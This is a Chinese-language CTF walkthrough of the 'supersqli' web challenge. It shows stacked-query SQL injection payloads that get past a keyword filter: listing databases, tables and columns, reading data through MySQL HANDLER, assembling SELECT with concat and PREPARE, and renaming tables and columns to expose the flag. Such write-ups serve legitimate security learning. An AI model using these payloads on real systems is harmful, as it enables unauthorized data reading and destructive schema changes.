攻防世界22-supersqli-CTFWeb

sql注入,提交1,查询得到信息,看看是否存在注入点

image-20241015093649721

1 union select 1

发现return preg_match(“/select|update|delete|drop|insert|where|./i”,$inject);

存在过滤,这题有多种方法,涨知识

1';show databases; #

image-20241015094058153

1';use supersqli;show tables;#

image-20241015094158152

0';use supersqli;show columns from `1919810931114514`#

image-20241015094245084

字符串为表名操作时要加反引号。

解法1:

MySQL中,handler也可以执行查询

可以查一下handler的使用方法:

0';handler `1919810931114514` open;handler `1919810931114514` read first;#

image-20241015095015369

解法2:

预处理,不是过滤了select吗,可以通过concat来拼接select

0';set @sql=concat('sele','ct `flag` from `1919810931114514`');PREPARE stmt1 from @sql;EXECUTE stmt1;#

解法3:

技巧型:

我们一开始的1查的是words表,我们可以把1919810931114514更名成word,那样一开始就可以查flag

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#